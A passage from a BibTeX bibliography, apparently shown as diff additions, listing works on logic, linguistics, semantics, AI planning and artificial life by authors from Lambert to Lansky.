= {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {2}, + pages = {184--191}, + topic = {reference-gaps;definite-descriptions;} + } + +@article{ lambert_k:1974a, + author = {Karel Lambert}, + title = {Predication and Extensionality}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {3}, + pages = {255--264}, + topic = {intensional-logic;referential-opacity;} + } + +@inproceedings{ lambert_l-carberry_s:1991a, + author = {Lynn Lambert and Sandra Carberry}, + title = {A Tripartite Plan-Based Model of Dialogue}, + booktitle = {Proceedings of the Twenty-Ninth Annual Meeting of the + Association for Computational Linguistics}, + year = {1994}, + editor = {Robert C. Berwick}, + pages = {47--54}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {discourse;plan-recognition;computational-linguistics; + pragmatics;} + } + +@inproceedings{ lambert_l-carberry_s:1992a, + author = {Lynn Lambert and Sandra Carberry}, + title = {Modeling Negotiation Subdialogues}, + booktitle = {Proceedings of the Thirtieth Annual Meeting of the + Association for Computational Linguistics}, + year = {1992}, + editor = {Henry S. Thompson}, + pages = {193--200}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {discourse;negotiation-subdialogs;pragmatics;} + } + +@phdthesis{ lambert_l:1993a, + author = {Lynn Lambert}, + title = {Recognizing Complex Discourse Acts: A Tripartite + Plan-Based Model of Dialogue}, + school = {Department of Computer and Information Science, + University of Delaware}, + year = {1993}, + type = {Ph.{D}. Dissertation}, + address = {Newark, Delaware}, + topic = {nl-interpretation;discourse;plan-recognition;pragmatics;} + } + +@book{ lambrecht:1994a, + author = {Knud L. Lambrecht}, + title = {Information Structure and Sentence Form: Topic, Focus, + and the Mental Representations of Discourse Referents}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + ISBN = {0521380561}, + topic = {sentence-focus;} + } + +@inproceedings{ lambrecht:1995a, + author = {Knud L. Lambrecht}, + title = {Compositional vs. Constructional Meaning: The + Case of {F}rench {\em comme-}{N}}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {186--203}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;compositionality;French-language;} + } + +@article{ lambrecht-michaelis:1998a, + author = {Knud L. Lambrecht and Laura A. Michaelis}, + title = {Sentence Accent in Information Questions: + Default and Projection}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {5}, + pages = {477--544}, + topic = {sentence-focus;contrastive-stress;intonation;interrogatives;} + } + +@book{ lamma-mello:1993a, + editor = {E. Lamma and P. Mello}, + title = {Extensions Of Logic Programming: Third International Workshop, + {B}ologna, {I}taly, {F}ebruary 26-28, 1992}, + publisher = {Springer-Verlag}, + year = {1993}, + address = {Berlin}, + ISBN = {3540564543 (Berlin}, + topic = {extensions-of-logic-programming;} + } + +@article{ lamperti-zanella:2002a, + author = {Gianfranco Lamperti and Marina Zanella}, + title = {Diagnosis of Discrete-Event Systems from Uncertain + Temporal Observations}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {137}, + number = {1--2}, + pages = {91--163}, + topic = {diagnosis;} + } + +@article{ lamperti-zanella:2002a, + author = {Gianfranco Lamperti and Marina Zanella}, + title = {Diagnosis of Discrete-Event Systems from Uncertain + Temporal Observations}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {137}, + number = {1--2}, + pages = {91--163}, + topic = {diagnosis;} + } + +@techreport{ lamport-fischer_mj:1982a, + author = {Leslie Lamport and Michael J. Fischer}, + title = {Byzantine Generals and Transactions Commit Protocols}, + institution = {{SRI} International}, + number = {Opus 62}, + year = {1982}, + address = {Menlo Park, California}, + topic = {Byzantine-agreement;protocol-analysis;} + } + +@incollection{ lamport:1985a, + author = {Leslie Lamport}, + title = {Paradigms for Distributed Computing}, + booktitle = {Methods and Tools for Specification, an Advanced + Course}, + publisher = {Springer-Verlag}, + year = {1985}, + editor = {M. Paul and H.J. Siegert}, + pages = {19--30,454--468}, + address = {Berlin}, + topic = {distributed-systems;} + } + +@article{ lamport:1986a, + author = {Leslie Lamport}, + title = {On Interprocess Communication, Part {I}: Basic Formalism}, + journal = {Distributed Computing}, + year = {1986}, + volume = {1}, + number = {2}, + pages = {77--85}, + topic = {distributed-systems;} + } + +@book{ lamport:1986b, + author = {Leslie Lamport}, + title = {\LaTeX: A Document Preparation System}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1986}, + address = {Reading, Massachusetts}, + topic = {computer-assisted-document-preparation;} + } + +@inproceedings{ lamura-shoham_y1:1998a, + author = {Piero La Mura and Yoav Shoham}, + title = {Conditional, Hierarchical, Multi-Agent Preferences}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {215--224}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {foundations-of-decision-theory;preferences; + qualitative-utility;} + } + +@article{ lance-kremer:1994a, + author = {Mark N. Lance and Philip Kremer}, + title = {The Logical Structure of Linguistic Commitment {I}: Four + Systems of Non-Relevant Commitment Entailment}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {4}, + pages = {369--400}, + topic = {relevance-logic;} + } + +@article{ lance-kremer_p:1996a, + author = {Mark Lance and Philip Kremer}, + title = {The Logical Structure of Linguistic Commitment {II}: + Systems of Relevant Commitment Entailment}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {4}, + pages = {425--449}, + topic = {relevance-logic;} + } + +@book{ lance-olearyhawthorne:1997a, + author = {Mark Lance and John O'Leary-Hawthorne}, + title = {The Grammar of Meaning: Normativity and + Semantic Discourse}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + topic = {foundations-of-semantics;} + } + +@incollection{ lance:1998a, + author = {Mark Norris Lance}, + title = {Some Reflections on the Sport of Language}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {219--240}, + address = {Oxford}, + topic = {belief;philosophy-of-mind;} + } + +@article{ lance:2001a, + author = {Mark Lance}, + title = {The Logical Structure of Linguistic Commitment {III}:}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {5}, + pages = {439--464}, + topic = {relevance-logic;} + } + +@book{ landau:1984a, + author = {Sidney I. Landau}, + title = {Dictionaries : The Art and Craft of Lexicography}, + publisher = {Scribner}, + year = {1984}, + address = {New York}, + ISBN = {0684180960}, + topic = {lexicography;} + } + +@book{ landau:1989a, + author = {Sidney I. Landau}, + title = {Dictionaries: The Art and Craft of Lexicography}, + publisher = {Cambridge University Press}, + year = {1989}, + address = {Cambridge, England}, + ISBN = {0521367255}, + topic = {lexicography;} + } + +@article{ landini:1996a, + author = {Gregory Landini}, + title = {The Definability of the Set of Natural Numbers in the + 1925 {\em {P}rincipia {M}athematica}}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {6}, + pages = {597--615}, + topic = {principia-mathematica;} + } + +@book{ landini:1998a, + author = {Gregory Landini}, + title = {Russell's Hidden Substitutional Theory}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + xref = {Review: levine_j1:2001a.}, + topic = {Russell;ramified-type-theory;} + } + +@article{ landman:1981a, + author = {Fred Landman}, + title = {A Note on the Projection Problem}, + journal = {Linguistic Inquiry}, + year = {1981}, + volume = {12}, + pages = {467--471}, + missinginfo = {number}, + topic = {presupposition;pragmatics;} + } + +@article{ landman-moerdijk:1983a, + author = {Fred Landman and Ieke Moerdijk}, + title = {Compositionality and the Analysis of Anaphora}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {1}, + pages = {89--115}, + topic = {nl-semantics;compositionality;donkey-anaphora;} + } + +@incollection{ landman:1984a, + author = {Fred Landman}, + title = {Data Semantics for Attitude Reports}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {193--218}, + address = {Dordrecht}, + topic = {logic-of-perception;} + } + +@book{ landman-veltman:1984a, + editor = {Fred Landman and Frank Veltman}, + title = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + address = {Dordrecht}, + ISBN = {90-6765-007-2 (pbk)}, + contentnote = {TC: + 1. Emmon Bach, "Some Generalizations of Categorial + Grammars", pp. 1--23 + 2. Renate Bartsch, "The Structure of Word Meanings: Polysemy, + Metaphor, Metonymy", pp. 25--54 + 3. Johan van Benthem, "The Logic of Semantics", pp. 55--80 + 4. Annabel Cormak, "{VP} Anaphora: Variables and Scope", pp. 81--102 + 5. Jan van Eijk, "Discourse Representation, Anaphora and + Scopes", pp. 103--122 + 6. Kit Fine, "A Defense of Arbitrary Objects", pp. 123--142 + 7. Jeroen Groenendijk and Martin Stokhof, "On the Semantics of + Questions and the Pragmatics of Answers", pp. 143--170 + 8. Theo M.V. Janssen, "Individual Concepts are Useful", pp. 171--192 + 9. Fred Landman, "Data Semantics for Attitude Reports", pp. 193--218 + 10. David Lewis, "Individuation by Acquaintance and by + Stipulation", pp. 219--244 + 11. Godehard Link, "Hydras: Or the Logic of Relative Constructions + with Multiple Heads", pp. 245--258 + 12. Alice G.B. ter Meulen, "Events, Quantities, and + Individuals", pp. 259--280 + 13. Barbara H. Partee, "Compositionality", pp. 281--312 + 14. John Perry, "Contradictory Situations", pp. 313--324 + 15. Manfred Pinkal, "Consistency and Context Change: The + Sorites Paradox", pp. 325--342 + 16. Pieter A.M. Seuren, "Logic and Truth-Values in + Languages", pp. 343--364 + 17. Ken-ichiro Shirai, "Where Locative Expressions are Located + in {M}ontague Grammar", pp. 365--384 + 18. Arnim von Stechow, "Structured Propositions and Essential + Indexicals", pp. 385--404 + 19. Henk Zeevat, "Belief", pp. 405--425 + } , + topic = {nl-semantics;} + } + +@article{ landman:1985a, + author = {Fred Landman}, + title = {The Realist Theory of Meaning}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {1}, + pages = {35--51}, + topic = {situation-semantics;foundations-of-semantics;} + } + +@inproceedings{ landman:1986a, + author = {Fred Landman}, + title = {Pegs and Alecs}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {45--61}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {reference;identity;} + } + +@book{ landman:1986b, + author = {Fred Landman}, + title = {Towards a Theory of Information: The Status of Partial + Objects in Semantics}, + publisher = {Foris Publications}, + year = {1986}, + address = {Dordrecht}, + ISBN = {9067651559}, + topic = {nl-semantics;partial-logic;} + } + +@article{ landman:1989a, + author = {Fred Landman}, + title = {Groups, {I}}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {5}, + pages = {559--605}, + topic = {nl-semantics;plural;} + } + +@article{ landman:1989b, + author = {Fred Landman}, + title = {Groups, {II}}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {6}, + pages = {723--744}, + topic = {nl-semantics;plural;} + } + +@article{ landman:1992a, + author = {Fred Landman}, + title = {The Progressive}, + journal = {Natural Language Semantics}, + year = {1992}, + volume = {1}, + pages = {1--32}, + missinginfo = {number.}, + topic = {nl-semantics;tense-aspect;progressive; + imperfective-paradox;} +} + +@incollection{ landman:1996a, + author = {Fred Landman}, + title = {Plurality}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {425--457}, + topic = {nl-semantics;plural;} + } + +@article{ lane_pcr-gobet:2001a, + author = {Peter C. R. Lane and Fernand Gobet}, + title = {Simple Environments Fail as Illustrations of Intelligence: + A Review of {R}olf {P}feifer and {C}hristian {S}cheier, {\it + Understanding Intelligence}}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {127}, + number = {2}, + pages = {261--267}, + xref = {Review of: pfeifer_r-scheier:1999a.}, + topic = {intelligence;foundations-of-AI; + foundations-of-cognitive-science;robotics;} + } + +@book{ lane_rd-nadel:2000a, + editor = {Richard D. Lane and Lynn Nadel}, + title = {Cognitive Neuroscience of Emotion}, + publisher = {Oxford University Press}, + year = {2000}, + address = {Oxford}, + ISBN = {019511888X}, + topic = {cognitive-neuroscience;emotion;} + } + +@incollection{ lang-marquis:1998a, + author = {J\'er\^ome Lang and Pierre Marquis}, + title = {Complexity Results for Independence and Definability + in Propositional Logic}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {356--367}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;definability;kr-course;} + } + +@article{ lang-marquis:2001a, + author = {J\'erome Lang and Pierre Marquis}, + title = {Removing Inconsistencies in Assumption-Based Theories + through Knowledge-Gathering Actions}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {2}, + pages = {179--214}, + topic = {reasoning-about-consistency;truth-maintenance;} + } + +@incollection{ lang:2002a, + author = {J\'erome Lang}, + title = {From Preference Representation to Combinatorial Vote}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {277--288}, + address = {San Francisco, California}, + topic = {kr;preferences;social-choice-theory;} + } + +@incollection{ lang-marquis:2002a, + author = {J\'erome Lang and Pierre Marquis}, + title = {Resolving Inconsistencies by Variable Forgetting}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {239--250}, + address = {San Francisco, California}, + topic = {kr;belief-revision;paraconsistent-reasoning;} + } + +@incollection{ lang_b:1981a, + author = {Bernard Lang}, + title = {Towards a Uniform Formal Framework for + Parsing}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {153--171}, + address = {Dordrecht}, + topic = {parsing-algorithms;} + } + +@inproceedings{ lang_j:1996a, + author = {J. Lang}, + title = {Conditional Desires and Utilities---An Alternative + Approach to Qualitative Decision Theory}, + booktitle = {Proceedings of {ECAI}'96}, + year = {1996}, + pages = {318--322}, + missinginfo = {A's 1st name, publisher, editor, address}, + topic = {qualitative-utility;} + } + +@inproceedings{ lang_j-marquis:2000a, + author = {J\'erome Lang and Pierre Marquis}, + title = {In Search of the Right Extension}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {625--636}, + topic = {default-reasoning;nonmonotonic-reasoning;} + } + +@book{ langacker:1987a, + author = {Ronald W. Langacker}, + title = {Foundations of Cognitive Grammar}, + publisher = {Stanford University Press}, + year = {1987}, + address = {Stanford, California}, + topic = {cognitive-grammar;} + } + +@article{ lange_m:1999a, + author = {Marc Lange}, + title = {Calibration and the Epistemological Role of {B}ayesian + Conditionalization}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {6}, + pages = {294--324}, + topic = {probability-kinematics;} + } + +@article{ lange_m:1999b, + author = {Marc Lange}, + title = {Laws, Counterfactuals, Stability, and Degrees of + Likelihood}, + journal = {Philosophy of Science}, + year = {1999}, + volume = {66}, + number = {2}, + pages = {243--267}, + topic = {natural-laws;conditionals;} + } + +@article{ lange_m:2001a, + author = {Marc Lange}, + title = {The Most Famous Equation}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {98}, + number = {5}, + pages = {219--238}, + topic = {philosophy-of-physics;} + } + +@incollection{ lange_s:1991a, + author = {Steffen Lange}, + title = {A Note on Polynomial-Time Inference of $k$-Variable + Pattern Languages}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {178--183}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {learning-theory;polynomial-algorithms;} + } + +@incollection{ langendoen:1971a, + author = {D. Terence Langendoen}, + title = {Presupposition and Assertion in the Semantic Analysis of + Nouns and Verbs in {E}nglish}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {341--344}, + address = {Cambridge, England}, + topic = {presupposition;pragmatics;} + } + +@incollection{ langendoen:1971b, + author = {D. Terence Langendoen}, + title = {Presupposition and the Semantic + Analysis of Nouns and Verbs in {E}nglish}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {341--344}, + address = {Cambridge, England}, + topic = {presupposition;} + } + +@incollection{ langendoen-savin:1971a, + author = {D. Terence Langendoen and Harris B. Savin}, + title = {The Projection Problem for Presuppositions}, + booktitle = {Studies in Linguistic Semantics}, + publisher = {Holt, Rinehart and Winston}, + year = {1971}, + editor = {Charles J. Fillmore and D. Terence Langendoen}, + pages = {55--60}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@incollection{ langendoen:1976a, + author = {D. Terence Langendoen}, + title = {Finite-State Parsing of Phrase-Structure Languages and the + Status of Readjustment Rules in Grammar}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {89--113}, + address = {New York}, + topic = {foundations-of-syntax;} + } + +@incollection{ langendoen:1976b1, + author = {D. Terence Langendoen}, + title = {Acceptable Conclusions from Unacceptable Ambiguity}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {225--238}, + address = {New York}, + xref = {Republication: langendoen:1976b2.}, + topic = {generative-semantics;nl-syntax;universal-grammar; + conditions-on-transformations;} + } + +@incollection{ langendoen:1976b2, + author = {D. Terence Langendoen}, + title = {Acceptable Conclusions from Unacceptable Ambiguity}, + booktitle = {Testing Linguistic Hypotheses}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David Cohen and Jessica Worth}, + pages = {111--127}, + address = {New York}, + xref = {Republication of: langendoen:1976b1.}, + topic = {generative-semantics;nl-syntax;universal-grammar; + conditions-on-transformations;} + } + +@incollection{ langendoen:1976c, + author = {D. Terence Langendoen}, + title = {A Case of Apparent Ungrammaticality}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {183--193}, + address = {New York}, + topic = {nl-syntax;} + } + +@incollection{ langendoen-bever:1976a, + author = {D. Terence Langendoen and Thomas G. Bever}, + title = {Can a Not Unhappy Person be Called a Not Sad One?}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {239--260}, + address = {New York}, + topic = {linguistics-methodology;negation;nl-syntax;} + } + +@incollection{ langendoen-etal:1976a, + author = {D. Terence Langendoen and Nancy Kalish-Landon and John + Dore}, + title = {Dative Questions: A Study in the Relation of + Accessibility to Grammaticality of an {E}nglish + Sentence Type}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {195--223}, + address = {New York}, + topic = {nl-syntax;} + } + +@book{ langendoen-postal:1984a, + author = {D. Terence Langendoen and Paul M. Postal}, + title = {The Vastness of Natural Language}, + publisher = {Blackwell Publishers}, + year = {1984}, + address = {Oxford}, + xref = {Review: lapointe:1986a.}, + topic = {philosophy-of-language;} + } + +@book{ langendoen-marcus_m:1990a, + editor = {Terry Langendoen and Mitch Marcus}, + title = {Tagging Linguistic Information in a Text Corpus}, + publisher = {Association for Computational Linguistics}, + year = {1990}, + address = {New Brunswick, New Jersey}, + note = {Tutorial at the 28th Annual Meeting of the Association for + Computational Linguistics}, + } + +@article{ langford:1964a, + author = {C.H. Langford}, + title = {Usage}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {6}, + pages = {181--186}, + topic = {synonymy;} + } + +@book{ langford:1971a, + author = {Glenn Langford}, + title = {Human Action}, + publisher = {Anchor Books}, + year = {1971}, + address = {Garden City, New York}, + topic = {philosophy-of-action;} + } + +@incollection{ langholm:1984a, + author = {Jan Tore Langholm}, + title = {Some Tentative Systems Relating to Situation Semantics}, + booktitle = {Report of an {O}slo Seminar in Logic and Linguistics}, + publisher = {Institute of Mathematics, University of Oslo}, + year = {1984}, + editor = {Jens Erik Fenstad and Jan Tore Langholm and Jan Tore L{\o}nning + and Helle Frisak Sem}, + pages = {II.1--II.65}, + address = {Oslo}, + topic = {situation-semantics;} + } + +@article{ langholm:1987a, + author = {Tore Langholm}, + title = {H.{B}. {S}mith on Modality: A Logical Reconstruction}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {4}, + pages = {337--346}, + topic = {modal-logic;} + } + +@techreport{ langholm:1989a, + author = {Tore Langholm}, + title = {Algorithms for Partial Logic}, + institution = {Department of Mathematics, University of Oslo}, + year = {1989}, + number = {11}, + address = {Oslo, Norway}, + missinginfo = {number}, + topic = {truth-value-gaps;theorem-proving;} + } + +@techreport{ langholm:1989b, + author = {Jan Tore L{\o}nning}, + title = {How to Say No with Feature Structures}, + institution = {Department of Mathematics, University of Oslo}, + year = {1989}, + number = {13}, + address = {Oslo, Norway}, + topic = {feature-strudctures;negation;} + } + +@incollection{ langkilde-knoght:1998a, + author = {Irene Langkilde and Kevin Knight}, + title = {The Practical Value of N-Grams in Derivation}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {248--255}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;n-gram-models;statistical-nlp;} + } + +@article{ langley-zytkow:1989a, + author = {Pat Langley and Jan M. Zytkow}, + title = {Data-Driven Approaches to Empirical Discovery}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {40}, + number = {1--3}, + pages = {283--312}, + acontentnote = {Abstract: + In this paper we track the development of research in empirical + discovery. We focus on four machine discovery systems that + share a number of features: the use of data-driven heuristics to + constrain the search for numeric laws; a reliance on theoretical + terms; and the recursive application of a few general discovery + methods. We examine each system in light of the innovations it + introduced over its predecessors, providing some insight into + the conceptual progress that has occurred in machine discovery. + Finally, we reexamine this research from the perspectives of the + history and philosophy of science. } , + topic = {automated-discovery;} + } + +@book{ langley:1996a, + author = {Pat Langley}, + title = {Elements of Machine Learning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + address = {San Francisco}, + xref = {Review: flach:2001a.}, + topic = {machine-learning;} + } + +@incollection{ langlois-haton:2001a, + author = {David Langlois and Kamel Smaili and Jean-Paul Haton}, + title = {A New Method Based on Context for Combining Statistical + Language Models}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {235--247}, + address = {Berlin}, + topic = {context;n-gram-models;} + } + +@phdthesis{ langlotz:1989a, + author = {Curtis Philip Langlotz}, + title = {A Decision-Theoretic Approach to Heuristic Planning}, + school = {Stanford University}, + year = {1989}, + type = {Ph.{D}. thesis}, + address = {Stanford, California}, + month = {November}, + note = {Computer Science Department Report No. STAN-CS-89-1295.}, + topic = {decision-theory;planning;} + } + +@book{ langton_cg:1989a, + editor = {Christopher G. Langton}, + title = {Artificial Life: The Proceedings of an Interdisciplinary + Workshop on the Synthesis and Simulation of Living Systems, Held + {S}eptember, 1987, in {L}os {A}lamos, {N}ew {M}exico}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1989}, + address = {Redwood City, California}, + ISBN = {0201093464}, + xref = {Review: smoliar:1995a.}, + topic = {artificial-life;} + } + +@book{ langton_cg:1992b, + editor = {Christopher G. Langton}, + title = {Artificial Life {II}}, + publisher = {Addison-Wesley}, + year = {1992}, + address = {Redwood}, + ISBN = {0201554925}, + note = {Video Recording. VHS format.}, + xref = {Associated Proceedings: langton_cg:1992a.}, + topic = {artificial-life;} + } + +@book{ langton_cg-etal:1992a, + editor = {Christopher G. Langton and Charles Taylor and + J. Doyne Farmer and Steen Rasmussen}, + title = {Artificial Life {II}: Proceedings of the Workshop on Artificial + Life held {F}ebruary 1990 in {S}anta {F}e, {N}ew {M}exico}, + publisher = {Addison-Wesley}, + year = {1992}, + address = {Redwood City, California}, + ISBN = {0201525704}, + xref = {Associated video: langton_cg:1992b.}, + xref = {Review: smoliar:1995a.}, + topic = {artificial-life;} + } + +@book{ langton_cg:1995a, + editor = {Christopher G. Langton}, + title = {Artificial Life : An Overview}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + ISBN = {0262121891}, + contentnote = {TC: + 1. Charles Taylor and David Jefferson, "Artificial Life as a + Tool for Biological Inquiry" + 2. Kristian Lindgren and Mats G. Nordahl, "Cooperation and + Community Structure in Artificial Ecosystems" + 3. P. Schuster, "Extended Molecular Evolutionary Biology: + Artificial Life Bridging the Gap between Chemistry + and Biology" + 4. Przemyslaw Prusinkiewicz, "Visual Models of Morphogenesis" + 5. Luc Steels, "The Artificial Life Roots of Artificial + Intelligence" + 6. Michael G. Dyer, "Toward Synthesizing Artificial Neural + Networks that Exhibit Cooperative Intelligent + Behavior: Some Open Issues in Artificial Life", + 7. Pattie Maes, "Modeling adaptive autonomous agents" + 10. Kunihiko Kaneko, "Chaos as a Source of Complexity and + Diversity in Evolution" + 11. Thomas S. Ray, "An Evolutionary Approach to Synthetic + Biology: Zen and the Art of Creating Life" + 12. Walter Fontana, G\"unter Wagner, and Leo W. Buss, "Beyond + Digital Naturalism" + 13. Mitchel Resnick, "Learning about life" + 14. David G. Stork, "Books on Artificial Life and Related Topics" + 16. Eugene H. Spafford, "Computer Viruses as Artificial Life" + 17. Melanie Mitchell and Stephanie Forrest, "Genetic + Algorithms and Artificial Life" + 18. Daniel Dennett, "Artificial Life as Philosophy" + 19. Stevan Harnad, "Levels of Functional Equivalence in + Reverse Bioengineering" + 20. Eric W. Bonabeau and Guy Theraulaz, "Why Do We Need + Artificial Life?" + } , + topic = {artificial-life;} + } + +@book{ langton_cg-shimohara:1997a, + editor = {Christopher G. Langton and Katsunori Shimohara}, + title = {Artificial Life {V}: Proceedings of The Fifth International + Workshop on the Synthesis and Simulation of Living Systems}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + ISBN = {0262621118}, + topic = {artificial-life;} + } + +@book{ lansdale-ormerod:1994a, + author = {Mark W. Lansdale and Thomas C. Ormerod}, + title = {Understanding Interfaces: A Handbook of Human-Computer + Dialogue}, + publisher = {Academic Press}, + year = {1994}, + address = {London}, + ISBN = {0125283903}, + topic = {HCI;computational-dialogue;} + } + +@techreport{ lansky:1985b, + author = {Amy Lansky}, + title = {Behavioral Planning for Multi-Agent Domains}, + number = {360}, + institution = {AI Center, SRI International}, + year = {1985}, + topic = {planning;distributed-systems;} + } + +@techreport{ lansky:1987a1, + author = {Amy Lansky}, + title = {A Representation of Parallel Activity Based on Events, + Structure, and Causality}, + institution = {AI Center, SRI International}, + number = {401}, + year = {1987}, + address = {Menlo Park, California}, + xref = {Republished in Timberline Proceedings. See lansky:1987a2.}, + topic = {foundations-of-planning;} + } + +@incollection{ lansky:1987a2, + author = {Amy Lansky}, + title = {A Representation of Parallel Activity Based on Events, Structure, + and Causality}, + booktitle = {Reasoning about Actions and Plans, Proceedings of the 1986 + Workshop at Timberline, Oregon}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + pages = {123--160}, + xref = {Published originally as SRI tech report. See lansky:1987a1.}, + year = {1987}, + topic = {foundations-of-planning;} + } + +@incollection{ lansky:1987b, + author = {Amy Lansky}, + title = {A Representation of Parallel Activity Based on Events, + Structure, and Causality}, + booktitle = {Reasoning about Actions and Plans, Proceedings of the 1986 + Workshop at Timberline, Oregon}, + publisher = {Morgan Kaufmann}, + pages = {123--160}, + year = {1987}, + topic = {foundations-of-planning;causality;action-effects;} + } + +@article{ lansky:1988a, + author = {Amy L. Lansky}, + title = {Localized Event-Based Reasoning for Multiagent Domains}, + journal = {Computational Intelligence}, + year = {1988}, + volume = {4}, + pages = {319--340}, + missinginfo = {number.}, + topic = {multiagent-planning;} +} + +@incollection{ lansky:1990a, + author = {Amy L. Lansky}, + title = {Localized Representation and Planning}, + booktitle = {Readings in Planning}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {James F. Allen and James Hendler and Austin Tate}, + pages = 